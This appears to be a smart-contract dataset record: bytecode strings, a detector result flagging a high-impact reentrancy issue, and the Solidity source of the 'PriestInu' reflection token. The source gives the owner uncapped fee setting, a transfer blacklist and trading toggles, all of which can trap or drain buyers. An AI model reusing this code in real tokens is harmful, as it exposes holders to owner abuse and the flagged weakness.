9073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506124b230601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611651565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612516959493929190613575565b600060405180830381600087803b15801561253057600080fd5b505af1158015612544573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b8061257457612573612608565b5b61257f84848461264b565b8061258d5761258c612816565b5b50505050565b60006125d583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061282a565b905092915050565b60008060006125ea61288d565b91509150612601818361259390919063ffffffff16565b9250505090565b6000600c5414801561261c57506000600d54145b1561262657612649565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061265d876128e9565b9550955095509550955095506126bb86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461295190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061275085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061279c816129f9565b6127a68483612ab6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612803919061355a565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b60008083118290612871576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128689190613378565b60405180910390fd5b506000838561288091906136e6565b9050809150509392505050565b6000806000600654905060006627829fd06e0e0090506128bf6627829fd06e0e0060065461259390919063ffffffff16565b8210156128dc576006546627829fd06e0e009350935050506128e5565b81819350935050505b9091565b60008060008060008060008060006129068a600c54600d54612af0565b92509250925060006129166125dd565b905060008060006129298e878787612b86565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061299383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120a1565b905092915050565b60008082846129aa9190613690565b9050838110156129ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129e69061347a565b60405180910390fd5b8091505092915050565b6000612a036125dd565b90506000612a1a8284612c0f90919063ffffffff16565b9050612a6e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612acb8260065461295190919063ffffffff16565b600681905550612ae68160075461299b90919063ffffffff16565b6007819055505050565b600080600080612b1c6064612b0e888a612c0f90919063ffffffff16565b61259390919063ffffffff16565b90506000612b466064612b38888b612c0f90919063ffffffff16565b61259390919063ffffffff16565b90506000612b6f82612b61858c61295190919063ffffffff16565b61295190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612b9f8589612c0f90919063ffffffff16565b90506000612bb68689612c0f90919063ffffffff16565b90506000612bcd8789612c0f90919063ffffffff16565b90506000612bf682612be8858761295190919063ffffffff16565b61295190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612c225760009050612c84565b60008284612c309190613717565b9050828482612c3f91906136e6565b14612c7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c769061349a565b60405180910390fd5b809150505b92915050565b6000612c9d612c988461360f565b6135ea565b90508083825260208201905082856020860282011115612cbc57600080fd5b60005b85811015612cec5781612cd28882612cf6565b845260208401935060208301925050600181019050612cbf565b5050509392505050565b600081359050612d0581613d5b565b92915050565b600081519050612d1a81613d5b565b92915050565b60008083601f840112612d3257600080fd5b8235905067ffffffffffffffff811115612d4b57600080fd5b602083019150836020820283011115612d6357600080fd5b9250929050565b600082601f830112612d7b57600080fd5b8135612d8b848260208601612c8a565b91505092915050565b600081359050612da381613d72565b92915050565b600081359050612db881613d89565b92915050565b600060208284031215612dd057600080fd5b6000612dde84828501612cf6565b91505092915050565b600060208284031215612df957600080fd5b6000612e0784828501612d0b565b91505092915050565b60008060408385031215612e2357600080fd5b6000612e3185828601612cf6565b9250506020612e4285828601612cf6565b9150509250929050565b600080600060608486031215612e6157600080fd5b6000612e6f86828701612cf6565b9350506020612e8086828701612cf6565b9250506040612e9186828701612da9565b9150509250925092565b60008060408385031215612eae57600080fd5b6000612ebc85828601612cf6565b9250506020612ecd85828601612da9565b9150509250929050565b600080600060408486031215612eec57600080fd5b600084013567ffffffffffffffff811115612f0657600080fd5b612f1286828701612d20565b93509350506020612f2586828701612d94565b9150509250925092565b600060208284031215612f4157600080fd5b600082013567ffffffffffffffff811115612f5b57600080fd5b612f6784828501612d6a565b91505092915050565b600060208284031215612f8257600080fd5b6000612f9084828501612d94565b91505092915050565b600060208284031215612fab57600080fd5b6000612fb984828501612da9565b91505092915050565b60008060008060808587031215612fd857600080fd5b6000612fe687828801612da9565b9450506020612ff787828801612da9565b935050604061300887828801612da9565b925050606061301987828801612da9565b91505092959194509250565b6000613031838361303d565b60208301905092915050565b613046816137a5565b82525050565b613055816137a5565b82525050565b60006130668261364b565b613070818561366e565b935061307b8361363b565b8060005b838110156130ac5781516130938882613025565b975061309e83613661565b92505060018101905061307f565b5085935050505092915050565b6130c2816137b7565b82525050565b6130d1816137fa565b82525050565b6130e08161381e565b82525050565b60006130f182613656565b6130fb818561367f565b935061310b818560208601613830565b6131148161396a565b840191505092915050565b600061312c60238361367f565b91506131378261397b565b604082019050919050565b600061314f603f8361367f565b915061315a826139ca565b604082019050919050565b6000613172602a8361367f565b915061317d82613a19565b604082019050919050565b6000613195601c8361367f565b91506131a082613a68565b602082019050919050565b60006131b860268361367f565b91506131c382613a91565b604082019050919050565b60006131db60228361367f565b91506131e682613ae0565b604082019050919050565b60006131fe60238361367f565b915061320982613b2f565b604082019050919050565b6000613221601b8361367f565b915061322c82613b7e565b602082019050919050565b600061324460218361367f565b915061324f82613ba7565b604082019050919050565b600061326760208361367f565b915061327282613bf6565b602082019050919050565b600061328a60298361367f565b915061329582613c1f565b604082019050919050565b60006132ad60258361367f565b91506132b882613c6e565b604082019050919050565b60006132d060238361367f565b91506132db82613cbd565b604082019050919050565b60006132f360248361367f565b91506132fe82613d0c565b604082019050919050565b613312816137e3565b82525050565b613321816137ed565b82525050565b600060208201905061333c600083018461304c565b92915050565b600060208201905061335760008301846130b9565b92915050565b600060208201905061337260008301846130c8565b92915050565b6000602082019050818103600083015261339281846130e6565b905092915050565b600060208201905081810360008301526133b38161311f565b9050919050565b600060208201905081810360008301526133d381613142565b9050919050565b600060208201905081810360008301526133f381613165565b9050919050565b6000602082019050818103600083015261341381613188565b9050919050565b60006020820190508181036000830152613433816131ab565b9050919050565b60006020820190508181036000830152613453816131ce565b9050919050565b60006020820190508181036000830152613473816131f1565b9050919050565b6000602082019050818103600083015261349381613214565b9050919050565b600060208201905081810360008301526134b381613237565b9050919050565b600060208201905081810360008301526134d38161325a565b9050919050565b600060208201905081810360008301526134f38161327d565b9050919050565b60006020820190508181036000830152613513816132a0565b9050919050565b60006020820190508181036000830152613533816132c3565b9050919050565b60006020820190508181036000830152613553816132e6565b9050919050565b600060208201905061356f6000830184613309565b92915050565b600060a08201905061358a6000830188613309565b61359760208301876130d7565b81810360408301526135a9818661305b565b90506135b8606083018561304c565b6135c56080830184613309565b9695505050505050565b60006020820190506135e46000830184613318565b92915050565b60006135f4613605565b90506136008282613863565b919050565b6000604051905090565b600067ffffffffffffffff82111561362a5761362961393b565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061369b826137e3565b91506136a6836137e3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156136db576136da6138dd565b5b828201905092915050565b60006136f1826137e3565b91506136fc836137e3565b92508261370c5761370b61390c565b5b828204905092915050565b6000613722826137e3565b915061372d836137e3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613766576137656138dd565b5b828202905092915050565b600061377c826137e3565b9150613787836137e3565b92508282101561379a576137996138dd565b5b828203905092915050565b60006137b0826137c3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006138058261380c565b9050919050565b6000613817826137c3565b9050919050565b6000613829826137e3565b9050919050565b60005b8381101561384e578082015181840152602081019050613833565b8381111561385d576000848401525b50505050565b61386c8261396a565b810181811067ffffffffffffffff8211171561388b5761388a61393b565b5b80604052505050565b600061389f826137e3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156138d2576138d16138dd565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613d64816137a5565b8114613d6f57600080fd5b50565b613d7b816137b7565b8114613d8657600080fd5b50565b613d92816137e3565b8114613d9d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122042eed595a2d91dcbf50f337fff73d15836e87ddfb6165a916bbdc189dd85806664736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 8,195 |
0x545DDb8da81Ea246745E998e2Ed3f74F9ec35BEE
|
/**
*Submitted for verification at Etherscan.io on 2021-12-14
*/
/*
t.me/PriestInu
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract PriestInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "PriestInu";
string private constant _symbol = "PRIEST";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _rfctFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 9;
//Sell Fee
uint256 private _rfctFeeOnSell = 1;
uint256 private _taxFeeOnSell = 9;
//Original Fee
uint256 private _rfctFee = _rfctFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousRfctFee = _rfctFee;
uint256 private _previousTaxFee = _taxFee;
mapping(address => bool) public bots;
address payable private _marketingAddress = payable(0x3616a6C374325e684CE68534d95203A1e15414D6);
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 5000000000 * 10**9;
uint256 public _maxWalletSize = 10000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
bots[address(0x00000000000000000000000000000000001)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_rfctFee == 0 && _taxFee == 0) return;
_previousRfctFee = _rfctFee;
_previousTaxFee = _taxFee;
_rfctFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_rfctFee = _previousRfctFee;
_taxFee = _previousTaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen)
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_rfctFee = _rfctFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_rfctFee = _rfctFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _rfctFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 rfctFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(rfctFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 rfctFeeOnBuy, uint256 rfctFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_rfctFeeOnBuy = rfctFeeOnBuy;
_rfctFeeOnSell = rfctFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
}
|
0x6080604052600436106101845760003560e01c806374010ece116100d157806398a5c3151161008a578063bfd7928411610064578063bfd7928414610479578063c3c8cd80146104a9578063dd62ed3e146104be578063ea1644d51461050457600080fd5b806398a5c31514610419578063a2a957bb14610439578063a9059cbb1461045957600080fd5b806374010ece146103605780637d1db4a5146103805780638da5cb5b146103965780638f70ccf7146103b45780638f9a55c0146103d457806395d89b41146103ea57600080fd5b8063313ce5671161013e5780636d8aa8f8116101185780636d8aa8f8146102f65780636fc3eaec1461031657806370a082311461032b578063715018a61461034b57600080fd5b8063313ce5671461028257806349bd5a5e1461029e5780636b999053146102d657600080fd5b8062b8cf2a1461019057806306fdde03146101b2578063095ea7b3146101f657806318160ddd1461022657806323b872dd1461024c5780632fd689e31461026c57600080fd5b3661018b57005b600080fd5b34801561019c57600080fd5b506101b06101ab366004611601565b610524565b005b3480156101be57600080fd5b50604080518082019091526009815268507269657374496e7560b81b60208201525b6040516101ed91906116c6565b60405180910390f35b34801561020257600080fd5b5061021661021136600461171b565b6105c3565b60405190151581526020016101ed565b34801561023257600080fd5b5068056bc75e2d631000005b6040519081526020016101ed565b34801561025857600080fd5b50610216610267366004611747565b6105da565b34801561027857600080fd5b5061023e60165481565b34801561028e57600080fd5b50604051600981526020016101ed565b3480156102aa57600080fd5b506013546102be906001600160a01b031681565b6040516001600160a01b0390911681526020016101ed565b3480156102e257600080fd5b506101b06102f1366004611788565b610643565b34801561030257600080fd5b506101b06103113660046117a5565b61068e565b34801561032257600080fd5b506101b06106d6565b34801561033757600080fd5b5061023e610346366004611788565b61070d565b34801561035757600080fd5b506101b061072f565b34801561036c57600080fd5b506101b061037b3660046117c7565b6107a3565b34801561038c57600080fd5b5061023e60145481565b3480156103a257600080fd5b506000546001600160a01b03166102be565b3480156103c057600080fd5b506101b06103cf3660046117a5565b6107d2565b3480156103e057600080fd5b5061023e60155481565b3480156103f657600080fd5b506040805180820190915260068152651414925154d560d21b60208201526101e0565b34801561042557600080fd5b506101b06104343660046117c7565b61081a565b34801561044557600080fd5b506101b06104543660046117e0565b610849565b34801561046557600080fd5b5061021661047436600461171b565b610887565b34801561048557600080fd5b50610216610494366004611788565b60106020526000908152604090205460ff1681565b3480156104b557600080fd5b506101b0610894565b3480156104ca57600080fd5b5061023e6104d9366004611812565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561051057600080fd5b506101b061051f3660046117c7565b6108d4565b6000546001600160a01b031633146105575760405162461bcd60e51b815260040161054e9061184b565b60405180910390fd5b60005b81518110156105bf5760016010600084848151811061057b5761057b611880565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105b7816118ac565b91505061055a565b5050565b60006105d0338484610903565b5060015b92915050565b60006105e7848484610a27565b6106398433610634856040518060600160405280602881526020016119c6602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e9c565b610903565b5060019392505050565b6000546001600160a01b0316331461066d5760405162461bcd60e51b815260040161054e9061184b565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146106b85760405162461bcd60e51b815260040161054e9061184b565b60138054911515600160b01b0260ff60b01b19909216919091179055565b6000546001600160a01b031633146107005760405162461bcd60e51b815260040161054e9061184b565b4761070a81610ed6565b50565b6001600160a01b0381166000908152600260205260408120546105d490610f10565b6000546001600160a01b031633146107595760405162461bcd60e51b815260040161054e9061184b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107cd5760405162461bcd60e51b815260040161054e9061184b565b601455565b6000546001600160a01b031633146107fc5760405162461bcd60e51b815260040161054e9061184b565b60138054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108445760405162461bcd60e51b815260040161054e9061184b565b601655565b6000546001600160a01b031633146108735760405162461bcd60e51b815260040161054e9061184b565b600893909355600a91909155600955600b55565b60006105d0338484610a27565b6000546001600160a01b031633146108be5760405162461bcd60e51b815260040161054e9061184b565b60006108c93061070d565b905061070a81610f94565b6000546001600160a01b031633146108fe5760405162461bcd60e51b815260040161054e9061184b565b601555565b6001600160a01b0383166109655760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161054e565b6001600160a01b0382166109c65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161054e565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a8b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161054e565b6001600160a01b038216610aed5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161054e565b60008111610b4f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161054e565b6000546001600160a01b03848116911614801590610b7b57506000546001600160a01b03838116911614155b15610d8f57601354600160a01b900460ff16610be357601454811115610be35760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161054e565b6001600160a01b03831660009081526010602052604090205460ff16158015610c2557506001600160a01b03821660009081526010602052604090205460ff16155b610c7d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161054e565b6013546001600160a01b03838116911614610d025760155481610c9f8461070d565b610ca991906118c7565b10610d025760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161054e565b6000610d0d3061070d565b601654601454919250821015908210610d265760145491505b808015610d3d5750601354600160a81b900460ff16155b8015610d5757506013546001600160a01b03868116911614155b8015610d6c5750601354600160b01b900460ff165b15610d8c57610d7a82610f94565b478015610d8a57610d8a47610ed6565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610dd157506001600160a01b03831660009081526005602052604090205460ff165b80610e0357506013546001600160a01b03858116911614801590610e0357506013546001600160a01b03848116911614155b15610e1057506000610e8a565b6013546001600160a01b038581169116148015610e